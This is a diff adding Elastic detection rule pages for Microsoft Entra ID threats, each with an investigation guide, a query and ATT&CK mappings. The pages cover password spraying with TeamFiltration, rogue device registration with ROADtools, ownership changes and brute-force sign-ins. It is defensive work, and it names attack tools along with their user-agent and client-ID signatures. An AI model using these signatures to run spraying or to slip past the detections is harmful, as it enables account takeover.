https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-sign-in-teamfiltration-user-agent-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-sign-in-teamfiltration-user-agent-detected.asciidoc new file mode 100644 index 0000000000..3ac067f25c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-sign-in-teamfiltration-user-agent-detected.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-21-entra-id-sign-in-teamfiltration-user-agent-detected]] +=== Entra ID Sign-in TeamFiltration User-Agent Detected + +Identifies potential enumeration or password spraying activity using TeamFiltration tool. TeamFiltration is an open-source enumeration, password spraying and exfiltration tool designed for Entra ID and Microsoft 365. Adversaries are known to use TeamFiltration in-the-wild to enumerate users, groups, and roles, as well as to perform password spraying attacks against Microsoft Entra ID and Microsoft 365 accounts. This rule detects the use of TeamFiltration by monitoring for specific user-agent strings associated with the tool in Azure and Microsoft 365 logs. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://github.com/Flangvik/TeamFiltration + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +Identifies potential enumeration or password spraying activity using TeamFiltration tool. TeamFiltration is an open-source enumeration, password spraying and exfiltration tool designed for Entra ID and Microsoft 365. Adversaries are known to use TeamFiltration in-the-wild to enumerate users, groups, and roles, as well as to perform password spraying attacks against Microsoft Entra ID and Microsoft 365 accounts. This rule detects the use of TeamFiltration by monitoring for specific user-agent strings associated with the tool in Azure and Microsoft 365 logs. + +The detection is based on TeamFiltration's hardcoded user agent string and/or the use of `Electron` by monitoring multiple log sources, including: + +- Azure Graph API Activity Logs +- Microsoft 365 Audit Logs +- Entra ID Sign-in Logs +- Entra ID Audit Logs +- Azure Activity Logs + + +*Possible investigation steps* + + +- Confirm the tool used via `user_agent.original`. +- Identify the `user.id`, `user.name`, or `azure.signinlogs.properties.user_principal_name` fields to determine which identity executed the API requests or sign-in attempts. +- Review `app_id`, `app_display_name`, or `client_id` to identify the application context (e.g., Azure CLI, Graph Explorer, unauthorized app). TeamFiltration uses a list of FOCI compliant applications to perform enumeration and password spraying. TeamFiltration uses Microsoft Teams client ID `1fec8e78-bce4-4aaf-ab1b-5451cc387264` for enumeration. +- Check `http.request.method`, `http.response.status_code`, and `event.action` for enumeration patterns (many successful GETs in a short period) if Graph API activity logs. +- Investigate correlated sign-ins (`azure.signinlogs`) by the same user, IP, or app immediately preceding the API calls. Was MFA used? Is the location suspicious? +- Review `source.ip` or `client.geo.*` fields to determine the origin of the requests. Flag unexpected IPs or ISPs. Check the for the use of several source addresses originating from Amazon ASNs (e.g., `AS16509`, `AS14618`, `AS14618`) which are commonly used by TeamFiltration as it proxies requests through FireProx and Amazon API Gateway. +- If the event originates in M365 Audit Logs, investigate cross-service activity: Exchange Online, Teams, SharePoint, or role escalations via Unified Audit. + + +*False positive analysis* + + +- This activity may be benign if performed by red teams, internal security auditors, or known security tools under authorization. + + +*Response and remediation* + + +- If confirmed malicious: + - Identify successful sign-in attempts or API calls made by the user or app. + - Revoke active sessions or tokens associated with the identified user/app. + - Disable the account or rotate credentials immediately. + - Review the role assignments (`Directory.Read.All`, `AuditLog.Read.All`, `Directory.AccessAsUser.All`) and remove excessive privileges. + - Conduct historical analysis to determine how long enumeration has been occurring and what objects were queried. + - Enable Conditional Access policies to require MFA for API and CLI-based access. + - Validate audit logging and alerting is enabled across Microsoft Graph, Azure Activity Logs, and M365 workloads. + +- If legitimate: + - Document the source or user (e.g., red team operation, security tool). + - Add appropriate allowlist conditions for service principal, user, source address or device if policy allows. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:("azure.signinlogs" or "o365.audit") + and ((user_agent.name:"Electron" and user_agent.os.name:"Windows" and user_agent.version:"8.5.1") or + user_agent.original:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Teams/1.3.00.30866 Chrome/80.0.3987.165 Electron/8.5.1 Safari/537.36") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Technique: +** Name: Password Policy Discovery +** ID: T1201 +** Reference URL: https://attack.mitre.org/techniques/T1201/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ +* Technique: +** Name: Virtual Machine Discovery +** ID: T1673 +** Reference URL: https://attack.mitre.org/techniques/T1673/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-unusual-cloud-device-registration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-unusual-cloud-device-registration.asciidoc new file mode 100644 index 0000000000..11fc7153f7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-unusual-cloud-device-registration.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-entra-id-unusual-cloud-device-registration]] +=== Entra ID Unusual Cloud Device Registration + +Detects a sequence of events in Microsoft Entra ID indicative of suspicious cloud-based device registration via automated tooling like ROADtools or similar frameworks. This behavior involves adding a device via the Device Registration Service, followed by the assignment of registered users and owners — a pattern consistent with techniques used to establish persistence or acquire a Primary Refresh Token (PRT). ROADtools and similar tooling leave distinct telemetry signatures such as the `Microsoft.OData.Client` user agent. These sequences are uncommon in typical user behavior and may reflect abuse of device trust for session hijacking or silent token replay. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Unusual Cloud Device Registration* + + +This rule detects a sequence of Microsoft Entra ID audit events consistent with cloud device registration abuse via ROADtools or similar automation frameworks. The activity includes three correlated events: + +1. Add device operation from the Device Registration Service using suspicious user-agents (`Dsreg/*`, `DeviceRegistrationClient`, or `Microsoft.OData.Client/*`). +2. Addition of a registered user with an `enterprise registration` URN. +3. Assignment of a registered owner to the device. + +This pattern has been observed in OAuth phishing and PRT abuse campaigns where adversaries silently register a cloud device to obtain persistent, trusted access. + + +*Possible investigation steps* + + +- Identify the user principal associated with the device registration. +- Review the `azure.auditlogs.identity` field to confirm the Device Registration Service initiated the request. +- Check the user-agent in `azure.auditlogs.properties.additional_details.value`. Known attack tooling signatures include: + - `Dsreg/10.0 (Windows X.X.X)` - ROADtools Windows device registration + - `DeviceRegistrationClient` - ROADtools MacOS/Android device registration + - `Microsoft.OData.Client/*` - .NET-based tools or Graph SDK +- Examine the OS version in the modified properties to identify potentially suspicious or outdated versions. +- Verify the URN in the new value field (`urn:ms-drs:enterpriseregistration.windows.net`) is not being misused. +- Use `azure.correlation_id` to pivot across all three steps of the registration flow. +- Pivot to `azure.signinlogs` to detect follow-on activity using the new device, such as sign-ins involving refresh or primary refresh tokens. +- Look for signs of persistence or lateral movement enabled by the newly registered device. +- Identify the registered device name by reviewing `azure.auditlogs.properties.target_resources.0.display_name` and confirm it's expected for the user or organization. +- Use the correlation ID `azure.correlation_id` to pivot into registered user events from Entra ID audit logs and check `azure.auditlogs.properties.target_resources.0.user_principal_name` to identify the user associated with the device registration. +- Review any activity for this user from Entra ID sign-in logs, where the incoming token type is a `primaryRefreshToken`. + + +*False positive analysis* + + +- Some MDM, autopilot provisioning flows, or third-party device management tools may generate similar sequences. Validate against known provisioning tools, expected rollout windows, and device inventory. +- Investigate whether the device name, OS version, and registration details align with normal IT workflows. +- Check if the user-agent corresponds to legitimate automation or tooling used by your organization. + + +*Response and remediation* + + +- If confirmed malicious, remove the registered device from Entra ID. +- Revoke refresh tokens and primary refresh tokens associated with the user and device. +- Disable the user account and initiate password reset and identity verification procedures. +- Review audit logs and sign-in activity for additional indicators of persistence or access from the rogue device. +- Tighten conditional access policies to restrict device registration and enforce compliance or hybrid join requirements. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by azure.correlation_id with maxspan=5m +[any where data_stream.dataset == "azure.auditlogs" and + azure.auditlogs.identity == "Device Registration Service" and + azure.auditlogs.operation_name == "Add device" and + ( + azure.auditlogs.properties.additional_details.value like "Microsoft.OData.Client/*" or + azure.auditlogs.properties.additional_details.value like "Dsreg/*" or + azure.auditlogs.properties.additional_details.value == "DeviceRegistrationClient" + ) and + `azure.auditlogs.properties.target_resources.0.modified_properties.1.display_name` == "CloudAccountEnabled" and + `azure.auditlogs.properties.target_resources.0.modified_properties.1.new_value` == "[true]"] +[any where data_stream.dataset == "azure.auditlogs" and + azure.auditlogs.operation_name == "Add registered users to device" and + `azure.auditlogs.properties.target_resources.0.modified_properties.2.new_value` like "*urn:ms-drs:enterpriseregistration.windows.net*"] +[any where data_stream.dataset == "azure.auditlogs" and + azure.auditlogs.operation_name == "Add registered owner to device"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-added-as-registered-application-owner.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-added-as-registered-application-owner.asciidoc new file mode 100644 index 0000000000..fe165a639d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-added-as-registered-application-owner.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-21-entra-id-user-added-as-registered-application-owner]] +=== Entra ID User Added as Registered Application Owner + +Identifies when a user is added as an owner for an Azure application. An adversary may add a user account as an owner for an Azure application in order to grant additional permissions and modify the application's configuration using another account. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID User Added as Registered Application Owner* + + +Azure applications often require specific permissions for functionality, managed by assigning user roles. An adversary might exploit this by adding themselves or a compromised account as an owner, gaining elevated privileges to alter configurations or access sensitive data. The detection rule monitors audit logs for successful operations where a user is added as an application owner, flagging potential unauthorized privilege escalations. + + +*Possible investigation steps* + + +- Review the Azure audit logs to confirm the operation by filtering for event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add owner to application" with a successful outcome. +- Identify the user account that was added as an owner and the account that performed the operation to determine if they are legitimate or potentially compromised. +- Check the history of activities associated with both the added owner and the account that performed the operation to identify any suspicious behavior or patterns. +- Verify the application's current configuration and permissions to assess any changes made after the new owner was added. +- Contact the legitimate owner or administrator of the Azure application to confirm whether the addition of the new owner was authorized. +- Investigate any recent changes in the organization's user access policies or roles that might explain the addition of a new owner. + + +*False positive analysis* + + +- Routine administrative actions: Regular maintenance or updates by IT staff may involve adding users as application owners. To manage this, create a list of authorized personnel and exclude their actions from triggering alerts. +- Automated processes: Some applications may have automated scripts or services that add users as owners for operational purposes. Identify these processes and configure exceptions for their activities. +- Organizational changes: During mergers or restructuring, there may be legitimate reasons for adding multiple users as application owners. Temporarily adjust the rule to accommodate these changes and review the audit logs manually. +- Testing and development: In development environments, users may be added as owners for testing purposes. Exclude these environments from the rule or set up a separate monitoring policy with adjusted thresholds. + + +*Response and remediation* + + +- Immediately revoke the added user's owner permissions from the Azure application to prevent further unauthorized access or configuration changes. +- Conduct a thorough review of recent activity logs for the affected application to identify any unauthorized changes or data access that may have occurred since the user was added as an owner. +- Reset credentials and enforce multi-factor authentication for the compromised or suspicious account to prevent further misuse. +- Notify the security team and relevant stakeholders about the incident for awareness and potential escalation if further investigation reveals broader compromise. +- Implement additional monitoring on the affected application and related accounts to detect any further unauthorized access attempts or privilege escalations. +- Review and update access control policies to ensure that only authorized personnel can modify application ownership, and consider implementing stricter approval processes for such changes. +- Document the incident, including actions taken and lessons learned, to improve response strategies and prevent recurrence. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add owner to application" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-added-as-service-principal-owner.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-added-as-service-principal-owner.asciidoc new file mode 100644 index 0000000000..30f021623c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-added-as-service-principal-owner.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-entra-id-user-added-as-service-principal-owner]] +=== Entra ID User Added as Service Principal Owner + +Identifies when a user is added as an owner for an Azure service principal. The service principal object defines what the application can do in the specific tenant, who can access the application, and what resources the app can access. A service principal object is created when an application is given permission to access resources in a tenant. An adversary may add a user account as an owner for a service principal and use that account in order to define what an application can do in the Azure AD tenant. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/develop/app-objects-and-service-principals + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID User Added as Service Principal Owner* + + +Azure service principals are crucial for managing application permissions within a tenant, defining access and capabilities. Adversaries may exploit this by adding themselves as owners, gaining control over application permissions and access. The detection rule monitors audit logs for successful owner additions, flagging potential unauthorized changes to maintain security integrity. + + +*Possible investigation steps* + + +- Review the audit log entry to confirm the event dataset is 'azure.auditlogs' and the operation name is "Add owner to service principal" with a successful outcome. +- Identify the user account that was added as an owner and gather information about this account, including recent activity and any associated alerts. +- Determine the service principal involved by reviewing its details, such as the application it is associated with and the permissions it holds. +- Check the history of changes to the service principal to identify any other recent modifications or suspicious activities. +- Investigate the context and necessity of the ownership change by contacting the user or team responsible for the service principal to verify if the change was authorized. +- Assess the potential impact of the ownership change on the tenant's security posture, considering the permissions and access granted to the service principal. + + +*False positive analysis* + + +- Routine administrative changes may trigger alerts when legitimate IT staff add themselves or others as owners for maintenance purposes. To manage this, create exceptions for known administrative accounts that frequently perform these actions. +- Automated processes or scripts that manage service principal ownership as part of regular operations can cause false positives. Identify and document these processes, then exclude them from triggering alerts by using specific identifiers or tags. +- Organizational changes, such as team restructuring, might lead to multiple legitimate ownership changes. During these periods, temporarily adjust the rule sensitivity or create temporary exceptions for specific user groups involved in the transition. +- Third-party applications that require ownership changes for integration purposes can also trigger alerts. Verify these applications and whitelist their associated service principal changes to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately revoke the added user's ownership from the Azure service principal to prevent unauthorized access and control. +- Conduct a thorough review of the affected service principal's permissions and access logs to identify any unauthorized changes or access attempts. +- Reset credentials and update any secrets or keys associated with the compromised service principal to mitigate potential misuse. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement conditional access policies to restrict who can add owners to service principals, ensuring only authorized personnel have this capability. +- Enhance monitoring and alerting for similar activities by increasing the sensitivity of alerts related to changes in service principal ownership. +- Document the incident and response actions taken to improve future incident response and refine security policies. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Add owner to service principal" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-reported-suspicious-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-reported-suspicious-activity.asciidoc new file mode 100644 index 0000000000..d742fbfc02 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-reported-suspicious-activity.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-entra-id-user-reported-suspicious-activity]] +=== Entra ID User Reported Suspicious Activity + +Identifies suspicious activity reported by users in Microsoft Entra ID where users have reported suspicious activity related to their accounts, which may indicate potential compromise or unauthorized access attempts. Reported suspicious activity typically occurs during the authentication process and may involve various authentication methods, such as password resets, account recovery, or multi-factor authentication challenges. Adversaries may attempt to exploit user accounts by leveraging social engineering techniques or other methods to gain unauthorized access to sensitive information or resources. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://chris-brumm.medium.com/microsoft-entra-mfa-fraud-deep-dive-7764fd8f76ad +* https://janbakker.tech/report-suspicious-activity-fraud-alert-for-azure-mfa/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 6 + +*Rule authors*: + +* Elastic +* Willem D'Haese + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating Entra ID User Reported Suspicious Activity* + + +This rule detects when a user in Microsoft Entra ID reports suspicious activity associated with their account. This feature is often used to report MFA fatigue or unsolicited push notifications, and is logged during authentication flows involving methods like Microsoft Authenticator. Such events may indicate that an attacker attempted unauthorized access and triggered a push that was denied or flagged by the user. + + +*Possible investigation steps* + + +- Review the `azure.auditlogs.identity` field to identify the reporting user. +- Confirm that `event.action` is `"Suspicious activity reported"` and the result was `"success"`. +- Check the `azure.auditlogs.properties.additional_details` array for `AuthenticationMethod`, which shows how the login attempt was performed (e.g., `PhoneAppNotification`). +- Look at the `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and `displayName` to confirm which user reported the suspicious activity. +- Investigate recent sign-in activity (`signinlogs`) for the same user. Focus on: + - IP address geolocation and ASN. + - Device, operating system, and browser. + - MFA prompt patterns or unusual login attempts. +- Determine whether the user actually initiated a login attempt, or if it was unexpected and aligns with MFA fatigue or phishing attempts. +- Correlate this report with any risky sign-in detections, conditional access blocks, or password resets in the past 24–48 hours. + + +*False positive analysis* + + +- Users unfamiliar with MFA push notifications may mistakenly report legitimate sign-in attempts. +- Shared accounts or device switching can also trigger unintended notifications. +- Legitimate travel or network changes might confuse users into thinking activity was malicious. + + +*Response and remediation* + + +- Contact the user to validate the suspicious activity report and assess whether they were targeted or tricked by a malicious actor. +- If the report is confirmed to be valid: + - Reset the user’s credentials immediately. + - Revoke active sessions and refresh tokens. + - Review their activity across Microsoft 365 services for signs of compromise. +- If other users report similar behavior around the same time, assess for a broader MFA fatigue campaign or targeted phishing. +- Consider tuning conditional access policies to require number matching or stronger MFA mechanisms. +- Educate users on reporting suspicious MFA prompts and following up with IT/security teams promptly. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" + and azure.auditlogs.operation_name: "Suspicious activity reported" + and azure.auditlogs.properties.additional_details.key: "AuthenticationMethod" + and azure.auditlogs.properties.target_resources.*.type: "User" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Request Generation +** ID: T1621 +** Reference URL: https://attack.mitre.org/techniques/T1621/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-sign-in-brute-force-attempted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-sign-in-brute-force-attempted.asciidoc new file mode 100644 index 0000000000..56b73cd2e0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-entra-id-user-sign-in-brute-force-attempted.asciidoc @@ -0,0 +1,265 @@ +[[prebuilt-rule-8-19-21-entra-id-user-sign-in-brute-force-attempted]] +=== Entra ID User Sign-in Brute Force Attempted + +Identifies potential brute-force attacks targeting user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to applications integrated with Entra ID or to compromise valid user accounts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/ +* https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying +* https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray +* https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties +* https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/ +* https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes +* https://github.com/0xZDH/Omnispray +* https://github.com/0xZDH/o365spray + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID User Sign-in Brute Force Attempted* + + +This rule detects brute-force authentication activity in Entra ID sign-in logs. It classifies failed sign-in attempts into behavior types such as password spraying, credential stuffing, or password guessing. The classification (`bf_type`) helps prioritize triage and incident response. + + +*Possible investigation steps* + + +- Review `bf_type`: Determines the brute-force technique being used (`password_spraying`, `credential_stuffing`, or `password_guessing`). +- Examine `user_id_list`: Identify if high-value accounts (e.g., administrators, service principals, federated identities) are being targeted. +- Review `login_errors`: Repetitive error types like `"Invalid Grant"` or `"User Not Found"` suggest automated attacks. +- Check `ip_list` and `source_orgs`: Investigate if the activity originates from suspicious infrastructure (VPNs, hosting providers, etc.). +- Validate `unique_ips` and `countries`: Geographic diversity and IP volume may indicate distributed or botnet-based attacks. +- Compare `total_attempts` vs `duration_seconds`: High rate of failures in a short time period implies automation. +- Analyze `user_agent.original` and `device_detail_browser`: User agents like `curl`, `Python`, or generic libraries may indicate scripting tools. +- Investigate `client_app_display_name` and `incoming_token_type`: Detect potential abuse of legacy or unattended login mechanisms. +- Inspect `target_resource_display_name`: Understand what application or resource the attacker is trying to access. +- Pivot using 